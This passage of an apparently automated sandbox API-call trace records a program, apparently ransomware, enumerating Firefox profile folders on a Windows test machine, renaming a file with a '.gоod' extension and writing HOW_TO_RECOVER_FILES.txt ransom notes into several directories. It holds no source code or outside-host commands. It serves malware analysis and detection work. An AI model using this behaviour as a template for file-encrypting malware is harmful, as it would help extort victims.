"c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\crash reports\\installtime20170824053622"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0259.521] GetFileType (hFile=0x86c) returned 0x1 [0259.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec190) returned 1 [0259.521] GetFileType (hFile=0x86c) returned 0x1 [0259.521] WriteFile (in: hFile=0x86c, lpBuffer=0x378f230*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ec208, lpOverlapped=0x0 | out: lpBuffer=0x378f230*, lpNumberOfBytesWritten=0x204ec208*=0x10, lpOverlapped=0x0) returned 1 [0259.521] CloseHandle (hObject=0x86c) returned 1 [0259.521] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622", lpFilePart=0x0) returned 0x57 [0259.521] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622.gоod", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622.gоod", lpFilePart=0x0) returned 0x5c [0259.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec330) returned 1 [0259.522] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\crash reports\\installtime20170824053622"), fInfoLevelId=0x0, lpFileInformation=0x204ec410 | out: lpFileInformation=0x204ec410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x96e7181e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0259.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec2f0) returned 1 [0259.522] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\crash reports\\installtime20170824053622"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\crash reports\\installtime20170824053622.gоod")) returned 1 [0259.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0259.523] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events", lpFilePart=0x0) returned 0x44 [0259.523] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0259.525] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.525] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0259.525] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0259.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0259.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0259.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0259.525] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events", lpFilePart=0x0) returned 0x44 [0259.525] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0259.526] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.526] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0259.526] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0259.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0259.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0259.526] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5d [0259.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0259.526] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\crash reports\\events\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0259.527] GetFileType (hFile=0x86c) returned 0x1 [0259.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0259.527] GetFileType (hFile=0x86c) returned 0x1 [0259.528] WriteFile (in: hFile=0x86c, lpBuffer=0x37a17d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x37a17d8*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0259.528] CloseHandle (hObject=0x86c) returned 1 [0259.530] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x56 [0259.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0259.530] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\crash reports\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a0 [0259.560] GetFileType (hFile=0x8a0) returned 0x1 [0259.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0259.560] GetFileType (hFile=0x8a0) returned 0x1 [0259.561] WriteFile (in: hFile=0x8a0, lpBuffer=0x382d328*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x382d328*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0259.561] CloseHandle (hObject=0x8a0) returned 1 [0259.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0259.562] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Pending Pings", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Pending Pings", lpFilePart=0x0) returned 0x3d [0259.562] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Pending Pings\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0259.562] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.562] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0259.562] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0259.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0259.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0259.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0259.562] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Pending Pings", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Pending Pings", lpFilePart=0x0) returned 0x3d [0259.562] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Pending Pings\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b400 [0259.563] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.563] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0259.563] FindClose (in: hFindFile=0x134b400 | out: hFindFile=0x134b400) returned 1 [0259.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0259.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0259.563] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Pending Pings\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Pending Pings\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x56 [0259.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0259.563] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Pending Pings\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\pending pings\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a0 [0259.564] GetFileType (hFile=0x8a0) returned 0x1 [0259.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0259.564] GetFileType (hFile=0x8a0) returned 0x1 [0259.564] WriteFile (in: hFile=0x8a0, lpBuffer=0x383e570*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x383e570*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0259.564] CloseHandle (hObject=0x8a0) returned 1 [0259.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0259.565] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpFilePart=0x0) returned 0x38 [0259.565] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0261.087] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.088] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb83449e5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb83449e5, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="w7cr0hor.default", cAlternateFileName="W7CR0H~1.DEF")) returned 1 [0262.024] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb83449e5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb83449e5, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="w7cr0hor.default", cAlternateFileName="W7CR0H~1.DEF")) returned 0 [0262.024] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0262.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0262.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0262.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0262.024] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpFilePart=0x0) returned 0x38 [0262.024] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0262.024] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.024] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb83449e5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb83449e5, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="w7cr0hor.default", cAlternateFileName="W7CR0H~1.DEF")) returned 1 [0262.025] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0262.025] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0262.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0262.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0262.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0262.025] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", lpFilePart=0x0) returned 0x49 [0262.025] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb83449e5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb83449e5, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0262.026] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb83449e5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb83449e5, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.027] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a3ab44, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a3ab44, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a3ab44, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="addons.json", cAlternateFileName="ADDONS~1.JSO")) returned 1 [0262.027] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea98376, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfea98376, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfea98376, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x291, dwReserved0=0x0, dwReserved1=0x0, cFileName="addonStartup.json.lz4", cAlternateFileName="ADDONS~1.LZ4")) returned 1 [0262.027] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143f0f49, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x143f0f49, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlternateServices.txt", cAlternateFileName="ALTERN~1.TXT")) returned 1 [0262.027] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd843d8c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd843d8c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x200a4780, ftLastWriteTime.dwHighDateTime=0x1d31cd6, 